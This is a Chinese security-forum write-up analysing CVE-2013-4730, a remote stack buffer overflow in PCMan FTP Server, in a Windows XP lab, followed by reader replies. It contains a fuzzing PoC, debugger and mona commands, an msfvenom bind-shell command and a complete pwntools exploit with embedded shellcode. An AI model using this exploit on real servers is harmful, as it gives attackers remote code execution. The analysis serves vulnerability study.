吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6317|回复: 15
收起左侧

[漏洞分析] PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析

  [复制链接]
hqz66 发表于 2021-4-13 00:36
本帖最后由 hqz66 于 2021-4-13 15:59 编辑

PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:PCMan FTP Server远程缓冲区溢出
  • 漏洞编号:CVE-2013-4730
  • 漏洞类型:缓冲区溢出
  • 漏洞影响:远程代码执行
  • 利用难度:Easy
  • 详细信息:https://www.exploit-db.com/exploits/26471

    2. 软件概述

PCMan FTP Server用于打开ftp服务,用于上传文件和管理有线及无线设备的软件

二、漏洞复现

1. 环境搭建

  • 靶机环境:Windows xp sp3

  • 靶机配置:

    • PCMan FTP Server 2.0.7
    • windbg
    • mona
  • 攻击机:kali 2.0

  • 攻击机配置:

    • pwntools
    • metasploit

2. 复现过程

在靶机中运行PCMan FTP,确保21号端口已打开,用windbg附加程序

1-XVC2LQJKSy8cm6d.png

由漏洞的exploit可以得知USER字段存在溢出漏洞,编写poc并在 kali 中运行测试

from pwn import *
context(log_level="debug")
io = remote("192.168.112.146", 21)
print(io.recv())
#使用pwntools的cyclic函数构造唯一子串序列
fuzz = flat("USER ", cyclic(8000))
io.sendline(fuzz)
print(io.recv())

windbg查看pcman ftp的运行状态,发现eip指向了0x7561617a非法地址,程序崩溃

2-zwFrnaXVQY2KJfy.png

观察栈帧结构,栈已被poc发送的数据填满,可以确定存在缓冲区溢出漏洞

3-hXoamxe93uRdCZg.png

三、漏洞分析

1. 背景知识

最简单的缓冲区溢出,分析这个漏洞主要熟悉一下用windbg进行栈回溯

2. 分析思路

思路一

ftp作为网络通信协议,客户端与浏览器进行交互使用socket,那么一定使用了recv()函数,在windbg中对recv()函数下断点,发送poc并单步跟踪,能够找到漏洞函数

思路二

栈回溯:在触发漏洞的内存地址下断点,触发漏洞时观察栈帧的结构,能够找到漏洞函数的地址。这是本文分析使用的方法

3.详细分析

查看触发栈溢出漏洞时的栈帧结构,那么溢出的数据就不能覆盖函数返回地址,就要确定返回地址的位置:发送poc后,eip指向返回地址0x7561617a

4-zwFrnaXVQY2KJfy.png

在利用pwntools的cyclic_find()函数查看0x7561617a在唯一子串序列中的位置,可以确定返回地址在序列的位置为2000(这也是为什么poc使用cyclic生成字符串的原因)

5-YUSoGd1Q7kwFj5n.png

重新发送poc字符串

fuzz = flat("USER ", cyclic(2000), 'aaaa')

6-QAlcxeMfd2Bb5SU.png

此时返回地址已被‘aaaa’覆盖,令进程在覆盖返回地址之前断下,选择栈中返回地址之前设置硬件条件断点,这里我选择0x0012ed98

ba w4 0x0012ed98 ".if(poi(0x0012ed98)==0x74616174){}.else{gc}"

重新发送poc后进程在0x004173af出断下,kb查看栈信息

7-5cFEm8e241VKCJy.png

栈回溯,利用IDA查看造成缓冲区赋值的函数

0x00417428处函数write_char(),向指针地址写入一个字节的数据,地址赋值不可能只写一个字节,一定有一个函数循环调用write_char()

8-RI2Ged36oXhqrBQ.png

上一层0x00412ced,sprintf函数,继续返回上一层0x00403EE6,即sub_403E60()函数

9-oum8kHi9DdKEIMl.png

这里使用sprintf向Buffer缓冲区赋值

sprintf第二个参数aDDD02d02d05dSS是格式化格式%d/%d/%d [%02d:%02d] (%05d) %s> %s

格式化参数v5是int类型,a2是函数参数char *类型

猜想:是没有控制用户的输入长度,直接将字符串a2复制到局部变量缓冲区buffer导致栈溢出

验证,在.text:00403EE6 E8 D4 ED 00 00    call    _sprintf设置断点,查看参数a2

10-mlCRPki5Z1KAYFj.png

查看0012edc4的值,确定是用户的输入字符串,猜想正确

11-62X5zrygxkol4vH.png

这里格式化获取系统时间,并将数据写入文件,可能是为了记录信息到日志中,查看PCMan ftp的日志文件,更加确认了我们的猜想

12-aOPqI85ilDfhwNg.png

13-8NIA9DRdO6W5igL.png

四、漏洞利用

1. 利用条件

靶机windows xp sp3关闭DEP保护,使栈上的数据可执行

2. 利用过程

2.1 排除坏字符

利用mona插件生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可

!py mona bytearray -b "\x00\x0a\0d"
from pwn import *
context(log_level="debug")

bytearray = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22"
"\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42"
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2"
"\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2"
"\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 'aaaa', bytearray)
io.sendline(payload)
print(io.recv())
2.2 查找jmp esp命令

使进程跳转到栈中执行用jmp esp指令,查询加载模块中jmp esp的地址,机器码 \xff\xe4

!py mona find -s "\xff\xe4" -m

选择一个拥有可执行权限EXECUTE的地址

14-HC2qzaR5mKwIVuP.png

2.3 生成shellcode

利用metasploit生成windows反弹shell的shellcode,开放本地端口4444,排除坏数据’\x00\x0a\x0d’,以py格式输出,同时开头由0x20个nop作为滑板

msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0a\x0d'  -n 0x20 -f py

PXGjxtco9FLZk18.png

2.4 编写exploit
from pwn import *
context(log_level="debug")

buf =  b""
buf += b"\x92\x40\x9f\x93\x91\x93\x41\x49\x4a\x37\x3f\x9b\x93"
buf += b"\x43\x4a\xf9\x4a\x91\x42\x9f\x49\x41\xf8\x9f\xf5\x4a"
buf += b"\x92\xfd\x98\x92\x93\x41\xba\x73\xe1\xfa\x7e\xdb\xdb"
buf += b"\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\x83\xe8\xfc\x31"
buf += b"\x50\x0e\x03\x23\xef\x18\x8b\x3f\x07\x5e\x74\xbf\xd8"
buf += b"\x3f\xfc\x5a\xe9\x7f\x9a\x2f\x5a\xb0\xe8\x7d\x57\x3b"
buf += b"\xbc\x95\xec\x49\x69\x9a\x45\xe7\x4f\x95\x56\x54\xb3"
buf += b"\xb4\xd4\xa7\xe0\x16\xe4\x67\xf5\x57\x21\x95\xf4\x05"
buf += b"\xfa\xd1\xab\xb9\x8f\xac\x77\x32\xc3\x21\xf0\xa7\x94"
buf += b"\x40\xd1\x76\xae\x1a\xf1\x79\x63\x17\xb8\x61\x60\x12"
buf += b"\x72\x1a\x52\xe8\x85\xca\xaa\x11\x29\x33\x03\xe0\x33"
buf += b"\x74\xa4\x1b\x46\x8c\xd6\xa6\x51\x4b\xa4\x7c\xd7\x4f"
buf += b"\x0e\xf6\x4f\xab\xae\xdb\x16\x38\xbc\x90\x5d\x66\xa1"
buf += b"\x27\xb1\x1d\xdd\xac\x34\xf1\x57\xf6\x12\xd5\x3c\xac"
buf += b"\x3b\x4c\x99\x03\x43\x8e\x42\xfb\xe1\xc5\x6f\xe8\x9b"
buf += b"\x84\xe7\xdd\x91\x36\xf8\x49\xa1\x45\xca\xd6\x19\xc1"
buf += b"\x66\x9e\x87\x16\x88\xb5\x70\x88\x77\x36\x81\x81\xb3"
buf += b"\x62\xd1\xb9\x12\x0b\xba\x39\x9a\xde\x57\x31\x3d\xb1"
buf += b"\x45\xbc\xfd\x61\xca\x6e\x96\x6b\xc5\x51\x86\x93\x0f"
buf += b"\xfa\x2f\x6e\xb0\x15\xec\xe7\x56\x7f\x1c\xae\xc1\x17"
buf += b"\xde\x95\xd9\x80\x21\xfc\x71\x26\x69\x16\x45\x49\x6a"
buf += b"\x3c\xe1\xdd\xe1\x53\x35\xfc\xf5\x79\x1d\x69\x61\xf7"
buf += b"\xcc\xd8\x13\x08\xc5\x8a\xb0\x9b\x82\x4a\xbe\x87\x1c"
buf += b"\x1d\x97\x76\x55\xcb\x05\x20\xcf\xe9\xd7\xb4\x28\xa9"
buf += b"\x03\x05\xb6\x30\xc1\x31\x9c\x22\x1f\xb9\x98\x16\xcf"
buf += b"\xec\x76\xc0\xa9\x46\x39\xba\x63\x34\x93\x2a\xf5\x76"
buf += b"\x24\x2c\xfa\x52\xd2\xd0\x4b\x0b\xa3\xef\x64\xdb\x23"
buf += b"\x88\x98\x7b\xcb\x43\x19\x8b\x86\xc9\x08\x04\x4f\x98"
buf += b"\x08\x49\x70\x77\x4e\x74\xf3\x7d\x2f\x83\xeb\xf4\x2a"
buf += b"\xcf\xab\xe5\x46\x40\x5e\x09\xf4\x61\x4b"

io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 0x77f8b227, buf)
io.sendline(payload)
print(io.recv())

在攻击机发送exploit,连接靶机4444端口成功

15-ezcg1ImONitk2py.png

五、参考文献

免费评分

参与人数 13威望 +2 吾爱币 +113 热心值 +12 收起 理由
sssjcccz01a + 1 用心讨论,共获提升!
victos + 1 + 1 谢谢@Thanks!
经典柚子 + 1 + 1 我很赞同!
pdcba + 1 + 1 热心回复!
kimmd + 1 + 1 谢谢@Thanks!
rekaytang + 1 + 1 谢谢@Thanks!
KylinYang + 1 + 1 热心回复!
fengbolee + 2 + 1 用心讨论,共获提升!
77-68-6f + 1 + 1 我很赞同!
ttao88 + 1 热心回复!
gaosld + 1 + 1 谢谢@Thanks!
genliese + 2 + 1 我很赞同!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

genliese 发表于 2021-4-13 17:55

熟悉的漏洞
supper800 发表于 2021-4-13 18:46
精华帖 啊,过程分析也很到位,这是应该能上杂志的文章。
ttao88 发表于 2021-4-14 09:31
发表于 发表于 2021-4-14 11:10
哎,我还是看不懂,果然我还是个菜机
 楼主| hqz66 发表于 2021-4-14 22:21
发表于 发表于 2021-4-14 11:10
哎,我还是看不懂,果然我还是个菜机

一步步来,我也是个菜鸡
zglujun 发表于 2021-4-14 22:34
学习到了
wuai10753 发表于 2021-4-21 16:09
感谢感谢
赵嘉俊 发表于 2021-4-22 02:06
好高端的样子,看不懂呀
GS_小东 发表于 2021-4-27 08:51
要是有大牛一半的技术我至于单身到现在吗?
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 10:49

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表